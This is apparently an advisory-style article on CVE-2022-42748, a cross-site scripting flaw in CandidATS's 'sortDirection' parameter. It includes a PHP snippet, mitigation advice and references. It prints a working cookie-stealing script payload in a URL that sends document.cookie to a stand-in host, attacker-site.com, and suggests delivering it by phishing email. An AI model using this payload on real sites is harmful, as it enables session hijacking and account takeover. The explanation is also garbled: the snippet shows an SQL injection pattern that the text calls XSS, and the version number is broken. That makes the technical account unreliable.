A recent vulnerability, identified as CVE-2022-42748, found in CandidATS version 3.. on the 'sortDirection' parameter of the 'ajax.php' resource, allows external attackers to steal the cookie of arbitrary users. This is due to a lack of proper input validation in the application, which leaves it exposed to XSS (Cross-Site Scripting) attacks. This article provides details on the vulnerability, example code snippets, and links to original sources for reference.

Exploit Details

By exploiting the XSS vulnerability found in 'sortDirection' parameter, an attacker can steal the session cookies of an unsuspecting user. This can lead to loss of sensitive data, session hijacking, and unauthorized access to user accounts.

The XSS vulnerability occurs because the application does not properly sanitize user input, enabling the attacker to inject malicious scripts into the vulnerable pages. When an unsuspecting user visits these pages, their browser will execute the scripts, allowing the attacker to steal their cookies.

Below is an example of a code snippet showcasing the vulnerability

<?php
// ...
if (isset($_POST['sortDirection'])) {
    $sortDirection = $_POST['sortDirection'];
} else {
    $sortDirection = 'ASC';
}

// The 'sortDirection' parameter is not sanitized before being used in the SQL query, making it vulnerable to XSS attacks.
$query = sprintf("SELECT * FROM users ORDER BY %s %s LIMIT %d, %d",
    $sortBy,
    $sortDirection,
    $start,
    $limit
);
// ...
?>

As shown in the code snippet above, the 'sortDirection' parameter is directly used in the SQL query without proper sanitization, allowing an attacker to inject malicious scripts and execute an XSS attack.

To exploit the vulnerability, an attacker could create a malicious URL with an embedded JavaScript payload and trick a user into clicking this link. For example, the attacker could send a phishing email to a targeted user containing the malicious URL pretending to be from a trusted source.

Here's an example of a malicious URL that exploits the vulnerability

https://vulnerable-site.com/ajax.php?sortDirection=<script>document.location='http://attacker-site.com/steal.php?cookie='+document.cookie;</script>;

Upon clicking the link, the victim's browser would execute the embedded JavaScript, sending their cookies to the attacker's site.

Mitigation

To protect against this type of attack, the application developer should implement proper input validation and sanitization. In particular, the 'sortDirection' parameter should be validated and sanitized before being used in the SQL query. Additionally, using secure coding techniques such as Prepared Statements and Output Encoding will help to mitigate this vulnerability.

For more information regarding CVE-2022-42748, please refer to the following sources

1. CVE-2022-42748
2. CandidATS GitHub Repository
3. OWASP: Cross-Site Scripting (XSS)
4. OWASP: Input Validation

Timeline

Published on: 11/03/2022 20:15:00 UTC
Last modified on: 01/26/2023 20:20:00 UTC